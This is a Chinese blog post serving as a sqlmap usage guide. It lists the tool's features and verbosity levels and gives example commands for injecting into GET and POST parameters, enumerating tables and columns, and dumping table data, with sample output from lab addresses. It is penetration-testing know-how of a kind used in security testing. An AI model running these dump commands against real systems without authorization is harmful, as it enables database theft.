標籤:sqlmap
0x00 SQLMAP簡介
-
sqlmap是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該資料庫的伺服器。它擁有非常大的檢測引擎、具有多種特性的滲透實測器、通過資料庫指紋提取訪問底層檔案系統並通過外帶串連執行命令。
-
支援的資料庫:mysql,oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase and SAP MaxDB
-
SQL注入技術:錯誤注射,基於時間的錯誤注射,報錯注入,union注入
-
枚舉資料:users,password hasher,privileges,roles,databases,tables and columns
0x01 Sqlmap掃描等級(共有7個等級,預設為1)
-
0、只顯示python錯誤以及嚴重的資訊
-
1、同時顯示基本資料和警告資訊。(預設)
-
2、同時顯示debug資訊
-
3、同時顯示注入的payload
-
4、同時顯示HTTP請求
-
5、同時顯示HTTP回應標頭
-
6、同時顯示HTTP響應面
0x02 擷取目標方式
eg:python sqlmap.py -u http(s)://targeturl[:port]/[...]
0x03 從文本中擷取多個目標掃描
www.target1.com/vuln1.php?q=foobarwww.target2.com/vuln2.asp?id=1www.target3.com/vuln3/id/1*
0x04 從檔案中載入HTTP請求
POST /vuln.php HTTP/1.1Host: www.target.comUser-Agent: Mozilla/4.0id=1
0x05 POST方式注入
eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
0x06 設定逾時時間
0x07 設定重試逾時
0x08 測試參數
eg:1.python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"2.python sqlmap.py -u "http://targeturl/param1/value1/param2/value2/15*"
0x09 列舉資料庫系統的資料庫
0x10 列舉資料庫表
0x11 列舉書庫表中的欄位
-
參數:--columns -T -D
-
列舉指定數庫,指定表中的欄位。
eg:python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users[...]Database: SQLite_masterdbTable: users[3 columns]+---------+---------+| Column | Type |+---------+---------+| id | INTEGER || name | TEXT || surname | TEXT |+---------+---------+
0x12 擷取表中資料個數
-
參數: --count
-
列舉指定資料庫表中的資料個數。
eg:python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb[...]Database: testdb+----------------+---------+| Table | Entries |+----------------+---------+| dbo.users | 4 || dbo.users_blob | 2 |+----------------+---------+
0x13 擷取整個表的資料或某幾個欄位的資料。
-
--dump -D -T -C
-
列舉某個資料庫某個表的所有欄位
python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users
python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users -C ID,NAME
本文出自 “啟思·朝聖者” 部落格,請務必保留此出處http://dearch.blog.51cto.com/10423918/1827947
SqlMap使用手冊